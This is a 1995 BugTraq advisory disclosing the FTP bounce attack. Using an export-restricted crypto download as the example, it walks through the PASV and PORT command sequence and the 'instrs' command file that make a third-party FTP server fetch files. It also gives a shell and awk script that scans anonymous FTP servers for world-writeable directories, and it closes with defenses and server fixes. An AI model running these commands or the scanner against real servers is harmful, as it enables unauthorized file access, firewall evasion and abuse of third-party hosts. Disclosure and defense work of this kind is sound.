Date: Wed, 12 Jul 1995 02:20:20 -0400
From: *Hobbit* <hobbit@avian.org>
Subject: The FTP Bounce Attack
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@CRIMELAB.COM>

This discusses one of many possible uses of the "FTP server bounce attack". The mechanism used is probably well-known, but to date interest in detailing or fixing it seems low to nonexistent. This particular example demonstrates yet another way in which most electronically enforced "export restrictions" are completely useless and trivial to bypass. It is chosen in an effort to make the reader sit up and notice that there are some really ill-conceived aspects of the standard FTP protocol.

Thanks also to Alain Knaff at imag.fr for a brief but entertaining discussion of some of these issues a couple of months ago which got me thinking more deeply about them.

The motive

You are a user on foreign.fr, IP address F.F.F.F, and want to retrieve cryptographic source code from crypto.com in the US. The FTP server at crypto.com is set up to allow your connection, but deny access to the crypto sources because your source IP address is that of a non-US site [as near as their FTP server can determine from the DNS, that is]. In any case, you cannot directly retrieve what you want from crypto.com's server.

However, crypto.com will allow ufred.edu to download crypto sources because ufred.edu is in the US too. You happen to know that /incoming on ufred.edu is a world-writeable directory that any anonymous user can drop files into and read them back from. Crypto.com's IP address is C.C.C.C.

The attack

This assumes you have an FTP server that does passive mode. Open an FTP connection to your own machine's real IP address [not localhost] and log in. Change to a convenient directory that you have write access to, and then do:

```
quote "pasv"
quote "stor foobar"
```

Take note of the address and port that are returned from the PASV command, F,F,F,F,X,X. This FTP session will now hang, so background it or flip to another window or something to proceed with the rest of this.

Construct a file containing FTP server commands. Let's call this file "instrs". It will look like this:

```
user ftp
pass -anonymous@
cwd /export-restricted-crypto
type i
port F,F,F,F,X,X
retr crypto.tar.Z
quit
^@^@^@
```

```
        put instrs
        quote "port C,C,C,C,0,21"
        quote "retr instrs"
```

Crypto.tar.Z should now show up as "foobar" on your machine via your first FTP connection. If the connection to ufred.edu didn't die by itself due to an apparently common server bug, clean up by deleting "instrs" and exiting. Otherwise you'll have to reconnect to finish.

Discussion

There are several variants of this. Your PASV listener connection can be opened on any machine that you have file write access to -- your own, another connection to ufred.edu, or somewhere completely unrelated. In fact, it does not even have to be an FTP server -- any utility that will listen on a known TCP port and read raw data from it into a file will do. A passive-mode FTP data connection is simply a convenient way to do this.

The extra nulls at the end of the command file are to fill up the TCP windows on either end of the ufred -> crypto connection, and ensure that the command connection stays open long enough for the whole session to be executed. Otherwise, most FTP servers tend to abort all transfers and command processing when the control connection closes prematurely. The size of the data is enough to fill both the receive and transmit windows, which on some OSes are quite large [on the order of 30K]. You can trim this down if you know what OSes are on either end and the sum of their default TCP window sizes. It is split into lines of 250 characters to avoid overrunning command buffers on the target server -- probably academic since you told the server to quit already.

If crypto.com disallows *any* FTP client connection from you at foreign.fr and you need to see what files are where, you can always put "list -aR" in your command file and get a directory listing of the entire tree via ufred.

You may have to retrieve your command file to the target's FTP server in ASCII mode rather than binary mode. Some FTP servers can deal with raw newlines, but others may need command lines terminated by CRLF pairs. Keep this in mind when retrieving files to daemons other than FTP servers, as well.

Other possbilities

Despite the fact that such third-party connections are one-way only, they can be used for all kinds of things. Similar methods can be used to post virtually untraceable mail and news, hammer on servers at various sites, fill up disks, try to hop firewalls, and generally be annoying and hard to track down at the same time. A little thought will bring realization of numerous other scary possibilities.

Connections launched this way come from source port 20, which some sites allow through their firewalls in an effort to deal with the "ftp-data" problem. For some purposes, this can be the next best thing to source-routed attacks, and is likely to succeed where source routing fails against packet filters. And it's all made possible by the way the FTP protocol spec was written, allowing control connections to come from anywhere and data connections to go anywhere.

Defenses

There will always be sites on the net with creaky old FTP servers and writeable directories that allow this sort of traffic, so saying "fix all the FTP servers" is the wrong answer. But you can protect your own against both being a third-party bouncepoint and having another one used against you.

The first obvious thing to do is allow an FTP server to only make data connections to the same host that the control connection originated from. This does not prevent the above attack, of course, since the PASV listener could just as easily be on ufred.edu and thus meet that requirement, but it does prevent *your* site from being a potential bouncepoint. It also breaks the concept of "proxy FTP", but hidden somewhere in this paragraph

is a very tiny violin.

The next obvious thing is to prohibit FTP control connections that come from reserved ports, or at least port 20. This prevents the above scenario as stated.

Both of these things, plus the usual poop about blocking source-routed packets and other avenues of spoofery, are necessary to prevent hacks of this sort. And think about whether or not you really need an open "incoming" directory.

Only allowing passive-mode client data connections is another possibility, but there are still too many FTP clients in use that aren't passive-aware.

"A loose consensus and running code"

There is some existing work addressing this available here at avian.org [and has been for several months, I might add] in the "fixkits archive". Several mods to wu-ftpd-2.4 are presented, which includes code to prevent and log attempts to use bogus PORT commands. Recent security fixes from elsewhere are also included, along with s/key support and various compile-time options to beef up security for specific applications.

Stan Barber at academ.com is working on merging these and several other fixes into a true updated wu-ftpd release. There are a couple of other divergent efforts going on. Nowhere is it claimed that any of this work is complete yet, but it is a start toward something I have had in mind for a while -- a network-wide release of wu-ftpd-2.5, with contributions from around the net. The wu-ftpd server has become very popular, but is in sad need of yet another security upgrade. It would be nice to pull all the improvements together into one coordinated place, and it looks like it will happen. All of this still won't help people who insist on running vendor-supplied servers, of course.

Sanity-checking the client connection's source port is not implemented specifically in the FTP server fixes, but in modifications to Wietse's tcp-wrappers package since this problem is more general. A simple PORT option is added that denies connections from configurable ranges of source ports at the tcpd stage, before a called daemon is executed.

Some of this is pointed to by /src/fixkits/README in the anonymous FTP area here. Read this roadmap before grabbing other things.

Notes

Adding the nulls at the end of the command file was the key to making this work against a variety of daemons. Simply sending the desired data would usually fail due to the immediate close signaling the daemon to bail out.

If WUSTL has not given up entirely on the whole wu-ftpd project, they are keeping very quiet about further work. Bryan O'Connor appears to have many other projects to attend to by now...

This is a trivial script to find world-writeable and ftp-owned directories and files on a unix-based anonymous FTP server. You'd be surprised how many of those writeable "bouncepoints" pop out after a short run of something like this. You will have to later check that you can both PUT and GET files from such places; some servers protect uploaded files against reading. Many do not, and then wonder why they are among this week's top ten warez sites...

```
#!/bin/sh
ftp -n $1 << FOE
quote "user ftp"
quote "pass -nobody@"
prompt
cd /
dir "-aR" xxx.$$
bye
FOE
# Not smart enough to figure out ftp's numeric UID if no passwd file!
```

```
cat -v xxx.$$ | awk '
  BEGIN { idir = "/" ; dirp = 0 }
  /.:$/ { idir = $0 ; dirp = 1 ; }
  /^[-d][-r](......w.|........  *[0-9]* ftp  *)/ {
    if (dirp == 1) print idir
    dirp = 0
    print $0
  } '
rm xxx.$$
```

I suppose one could call this a white paper. It is up for grabs at avian.org in /random/ftp-attack as well as being posted in various relevant places.

_H* 950712